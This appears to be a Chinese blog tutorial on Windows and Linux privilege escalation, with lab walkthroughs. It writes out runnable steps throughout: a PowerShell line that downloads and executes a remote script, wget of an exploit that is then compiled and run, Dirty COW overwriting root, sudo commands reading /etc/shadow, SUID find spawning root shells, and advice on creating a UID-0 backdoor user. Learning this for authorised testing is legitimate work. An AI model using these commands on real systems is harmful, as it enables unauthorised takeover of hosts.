操作系统提权

简介

不建议自动化提权,可能对主机造成很严重的问题

目的

对于提权的目的,由于有些情况之下我们需要做某些一些操作的时候没有权限,我们只能使用提权的方式进行权限提升,以此来完成我们的操作

概述

windwos 中常见的权限

  • 用户权限( users )
  • 管理员权限( administrator )
  • 系统权限( system )
  • 访客权限( guest )

windows 提权

user –> administrator

administrator –> system

services –> system

linux 提权

user –> root

分类

  • 本地提权

    在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)提升到系统管理员权限或系统最高权限。

  • 远程提权
    攻击者通过漏洞利用程序直接获取远程服务器的权限。

  • 操作系统提权

    Windows:MS06-067、MS10-084、MS11-014、MS11-05、MS12-020、MS16-032 等

    Linux:CVE-2017-7308、CVE-2017-6074、CVE-2017-5123、CVE-2016-9793、CVE-2016-5195 等

  • 应用程序提权

    SQL Server、MySQL、Oracle等

条件

  • 拥有Webshell/Beacon/Sessions
  • 拥有普通用户权限
  • 拥有某些软件的账号密码
  • 本地或远程服务器上存在漏洞
  • 拥有漏洞利用工具代码

windows 系统提权

提权思路

  • 前期信息收集
  • Meterpreter提权
  • Windows系统内核漏洞
  • Windows服务提权漏洞

提权信息收集

先生成一个payload ,并且创建监听

然后让受害者上线msf

image-20240212091554180

手动信息收集

得到metepreter 之后

  • 获取补丁包

    1
    2
    3
    wmic qfe get Caption,Description,HotFixID,InstalledOn

    wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxx" /C:"KBxxxxxx"

    image-20240212091939430

    KB 开头的就是补丁

  • 杀软收集

    image-20240212092039878

    也可以使用tasklist 的方式,然后使用在线查对应的有哪些杀软

    image-20240212092207818

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    wmic group
    组帐户管理。

    wmic os
    已安装操作系统的管理。

    wmic process
    进程管理

    wmic service
    服务应用程序管理。

    wmic useraccount
    用户帐户管理。

    wmic startup
    当用户登录到计算机系统时自动运行的命令的管理。

    wmic nic
    网络接口控制器(NIC)管理

自动信息收集

Windows privilege escalation (enumeration) script

  • PowerUP

该工具用的很多,并且很多考试这个工具是能使用的

Powershell提权框架 - Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

[https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)  

https://evi1cg.me/archives/Powerup.html

使用说明

加载脚本,这个是在cmd中

1
2
powershell -nop -ep bypass
Import-Module .\PowerUp.psm1

查看所有的模块

1
Get-Command -Module powerup

查看模块的详细信息

1
2
3
Get-help [cmdlet] -full

Get-Help Find-DLLHijack -full

导出结果

1
Invoke-AllChecks | Out-File -Encoding ASCII checks.txt

cmd 环境运行

1
powershell -ep bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
      内存加载
1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

我们可以将这个脚本放置到服务器上面

提权

  • 发现已知的内核信息

    检查windows 系统版本是否存在任何已知的漏洞

    列出所有的补丁

    1
    2
    3
    wmic qfe get Caption,Description,HotFixID,InstalledOn

    powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}"
  • 列出更新的补丁

    1
    powershell -c "Get-Hotfix -description 'Security update'"
  • 已对外公开的exp

    下面是相关的一些项目

    1
    2
    3
    4
    https://github.com/SecWiki/windows-kernel-exploits
    https://github.com/Ascotbe/Kernelhub
    http://kernelhub.ascotbe.com/Home/Docs/#/
    https://github.com/lyshark/Windows-exploits

    image-20240212100615366

    可以这样搜索,查找对应的漏洞

  • 使用网站查找对应的漏洞

    https://i.hacking8.com/tiquan

漏洞利用

e### CVE-2018-8120

https://github.com/alpha1ab/CVE-2018-8120

使用方法

1
exe + "要执行的命令"

尝试了使用win10 提权,但是没有用,win7 靶机也是不行的

如果可以的话,可以使用获取到的metepreter 然后使用shell exp 然后执行payload 这样就可以获得system的权限了

CVE-2019-0803

https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe

使用方法

1
exp cmd 指令

image-20240212120642548

这个脚本可以,说明存在这个漏洞

CVE-2020-0787

https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases

image-20240212121622783

先运行,然后就会弹出一个新的cmd这个是system权限的

提权脚本

它会提示有哪些漏洞,可以用来提权

  1. JuicyPotato

    https://github.com/ohpe/juicy-potato/releases

    使用这个工具的限制条件

    需要具有SeImpersonate或者SeAssignPrimaryToken权限

    开启DCOM 本地支持RPC或者远程服务器支持RPC并能成功登录

    能够找到可用的COM对象

    一般从Web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。 一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,都可以执 行 whoami /priv 查看是否具有权限。

    查看当前的用户权限

    1
    2
    whoami /all
    whoami /priv

    image-20240212141209658

    这个就是一个普通的权限

    image-20240212141327534

    这个是管理员权限

    如果SeImpersonate权限为 enabled,juicypotato的参数可以使用-t t 如果SeAssignPrimaryToken权限为 enabled,juicypotato的参数可以使用-t u 如果均开启,可以选择 -t *

    查看RPC默认端口是否为135

    如果被修改(例如为111),juicypotato的参数可以使用-n 111

    如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:

    找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k

    例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录,添加防火墙规则允许135端口入站的命令如下:

    1
    netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

    根据操作系统选择可用的CLSID

    https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

    其实CLSID也就是GUID,是区分每个系统组件唯一的识别码。我们通过CLSID就可以快捷的打开系统组件,这样可以让我们的操作更加方便。

    现在这个已经被剔除了

    CLSID或类标识符是一串字母数字(数字和字母字符)符号,用于表示组件对象模型或基于 COM 的 程序的特定实例。它允许操作系统和软件(尤其是 Windows 操作系统和软件)检测和访问软件组件, 而无需通过其名称进行识别。尽管微软已经逐步淘汰了COM的使用,转而使用.NET基础结构,但COM 仍然是许多常用程序的重要组成部分,并且没有停止使用的计划。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    添加网络位置
    shell:::{D4480A50-BA28-11d1-8E75-00C04FA31A86}

    管理工具
    shell:::{D20EA4E1-3957-11d2-A40B-0C5020524153}

    所有控制面板项
    shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}

    所有设置
    shell:::{5ED4F38C-D3FF-4D61-B506-6820320AEBFE}

    所有任务
    shell:::{ED7BA470-8E54-465E-825C-99712043E01C}

    应用
    shell:::{4234d49b-0245-4df3-b780-3893943456e1}

    AppSuggestedLocations
    shell:::{c57a6066-66a3-4d91-9eb9-41532179f0a5}

    ActiveX缓存文件夹
    shell:::{88C6C381-2E85-11D0-94DE-444553540000}

    自动播放
    shell:::{9C60DE1E-E5FC-40f4-A487-460851A8D915}

    备份和还原(Windows7)
    shell:::{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}

    BitLocker驱动器加密
    shell:::{D9EF8727-CAC2-4e60-809E-86F80A666C91}

    蓝牙设备
    shell:::{28803F59-3A75-4058-995F-4EE5503B023C}

    Briefcase
    shell:::{85BBD920-42A0-1069-A2E4-08002B30309D}

    Cabinet Shell文件夹
    shell:::{0CD7A5C0-9F37-11CE-AE65-08002B2E1262}

    命令文件夹
    shell:::{437ff9c0-a07f-4fa0-af80-84b6c6440a16}

    Common Places FS Folder
    shell:::{d34a6ca6-62c2-4c34-8a7c-14709c1ad938}

    CompressedFolder
    shell:::{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}

    连接到
    shell:::{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}

    控制面板
    shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}

    控制面板
    shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}

    凭据管理器
    shell:::{1206F5F1-0569-412C-8FEC-3204630DFB70}

    使用win R 执行这个

    image-20240212142400384

    监听端口

    选择一个系统未占用的端口作为监听端口

    最终执行命令如下

    C:/test/ >juicypotato.exe -t * -p “cmd.exe” -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097}
    Testing {4991d34b-80a1-4291-83b6-3328366b9097} 9001
    ……
    [+] authresult 0
    {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

    [+] CreateProcessWithTokenW OK

    -t * : SeImpersonate权限和SeAssignPrimaryToken权限都开启
    -p “cmd.exe” : 指定创建的进程
    -l 9001 : 指定监听端口
    -c {4991d34b-80a1-4291-83b6-3328366b9097} : 指定使用的CLSID

    如果将执行的程序变成payload 就可以直接反弹一个system 的权限

    webshell 添加用户,同时也能执行命令或者是payload

  2. 使用SweetPotato.exe

    该脚本不需要获取了远程桌面,可以使用webshell 执行的juicePotato

    SweetPotato.exe -a whoami

    https://github.com/uknowsec/SweetPotato

linux

思路

  • 前期信息收集
  • Linux系统内核漏洞
  • Linux服务提权漏洞
  • SUDO权限滥用
  • SUID提权
  • GTFOBins

提权信息收集

  1. linPEAS.sh

    https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

直接运行

注意看有颜色的字

image-20240212144942030

基础信息,有什么可以使用的软件

image-20240212144909033

这个是可以尝试利用的编号

image-20240212145013074

  1. beRoot

    https://github.com/AlessandroZ/BeRoot

  2. 操作系统命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # 查看发行版本
    cat /etc/issue
    cat /etc/*-release
    lsb_release -a

    # 查看内核版本
    uname –a
    uname –mrs

    # 环境变量
    cat /etc/profile
    cat /etc/bashrc
    cat ~/.bash_profile
    cat ~/.bashrc
    cat ~/.bash_logout
    env
    set
  3. 应用程序和服务信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 系统网络信息
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

# 应用程序和服务
ps aux
ps -ef
top
cat /etc/services

# root用户运行的服务
ps aux | grep root
ps -ef | grep root

# 安装的应用程序
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/

# 服务配置错误
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

# 计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
  1. 常用的漏洞exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    http://www.exploit-db.com
    https://www.securityfocus.com/bid
    https://www.rapid7.com/db/
    https://cxsecurity.com/exploit/
    https://seclists.org/fulldisclosure/
    https://exploit.kitploit.com/
    https://www.cvedetails.com/index.php
    https://packetstormsecurity.com/
    http://cve.mitre.org/cve/search_cve_list.html
    https://www.anquanke.com/vul
    https://nvd.nist.gov/vuln/categories
  2. searchsploit

    这个可以搜索相关的exp

    现在尝试使用

    使用grep 过滤相关的内容

    1
    searchsploit privilege | grep -i linux | grep -i kernel

    image-20240212162428567

    然后选择需要的exp 使用-p 得到详细的path

    image-20240212162556800

    然后就可以就可以通过编译或者其他方式利用

    使用选项-w 就是通过联网搜索

漏洞利用

脏牛提权漏洞

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权

影响范围:Linux 内核2.6.22 < 3.9 (x86/x64)

核心: 改写没有写权限的文件(默认: /etc/passwd),然后改掉了id 为0 的用户,相当于替换root 用户

1
2
3
4
5
POC: https://github.com/FireFart/dirtycow

gcc编译: gcc -pthread ditry.c -o dirty -lcrypt

替换root用户: ./dirty password

现在模拟一下利用

查看系统版本

image-20240212173357241

下载好的poc 进行编译

image-20240212173502598

现在测试是否创建才成功

首先使用root 用户创建一个只读文件

image-20240212173807751

使用脚本

然后等待一会之后

image-20240212173945552

执行完成

image-20240212174006323

CVE-2019-13272

这个直接使用searchsploit

1
2
3
4
exploitdb:
https://www.exploit-db.com/exploits/47163
利用exp:
https://www.exploit-db.com/download/47163
1
2
3
4
wget https://www.exploit-db.com/download/47163 -O exp.c
gcc exp.c –o exp
./exp

CVE-2019-7304

1
https://github.com/initstring/dirty_sock

CVE-2021-3493

1
https://github.com/briskets/CVE-2021-3493
1
2
gcc exploit.c -o exp
./exp

Linux密码Hash

  • /etc/passwd

    所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部分

    image-20240213100626279

    此文件必须使用管理员权限

    可以查看到有一些是不能登录的,也就是nologin

    1. 用户名
    2. 密码,x表示密码保存在/etc/shadow
    3. UID,0代表root
    4. GID,表示所在组
    5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
    6. 用户主目录
    7. 默认shell类型

    我们可以查看到root 用户的uid 和 gid

    我们就可以尝试创建一个uid gid和root 一样的一个用户,这样这个用户就拥有了对应的权限,也可以称为 后门用户

    而可以通过密码处不为x 的,尝试解密就可以得到对应的账号和权限了

    https://cmd5.com/

    https://www.somd5.com/

  • /etc/shadow

只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分为九个部分:

  1. 用户名

  2. 加密后的密码

  3. 上次修改密码的时间(从1970.1.1开始的总天数)

  4. 两次修改密码间隔的最少天数,如果为0,则没有限制

  5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提

  6. 前多少天警告用户密码将过期

  7. 在密码过期之后多少天禁用此用户

  8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用

  9. 保留

滥用的SUDO权限

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。

https://www.runoob.com/linux/linux-comm-sudo.html

https://blog.csdn.net/netlai/article/details/79727187

sudo配置文件:/etc/sudoers 配置文件权限:0440

如果获取了普通用户并且配置了sudo 我们就可以直接使用sudo 打开一个bash 那么这个就是root 权限的账号了

image-20240213102140755

sudo -l:显示出自己(执行sudo的使用者)的权限

image-20240213102419005

sudo –s:执行环境变数中的shell所指定的shell,或是/etc/passwd 里所指定的shell

image-20240213102609771

image-20240213102639241

1
2
3
4
5
sudo /bin/ash
sudo /usr/bin/awk -F: ‘{print $1 $2}' /etc/shadow
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
sudo curl file:///etc/shadow
sudo find . -exec /bin/sh \; -quit

suid 权限提权

  • 文件s 权限

    也称为suid 权限,就是在文件的可执行权限处为s

    image-20240213105025923

    对应为4755

    所有的权限的用户执行带s 的文件都是使用属主的权限执行

    进行提权

    查找具有suid 权限的程序

    1
    find / -perm -u=s -type f 2>/dev/null

    image-20240213105341345

    使用find 举例子

    image-20240213105405202

    1
    ./find . -exec /bin/sh -p \; -quit

    本质就是find 存在s(suid) 权限,然后也是属于root 的文件,那么我们使用find 的进程就是root 权限的。权限基于进程,使用root 的进程的子进程(使用bash或者sh)也是会继承该权限

提权工具

  • traitor

https://github.com/liamg/traitor

  • gtfo

https://github.com/mzfr/gtfo


操作系统提权
https://tsy244.github.io/2024/02/12/渗透/操作系统提权/
Author
August Rosenberg
Posted on
February 12, 2024
Licensed under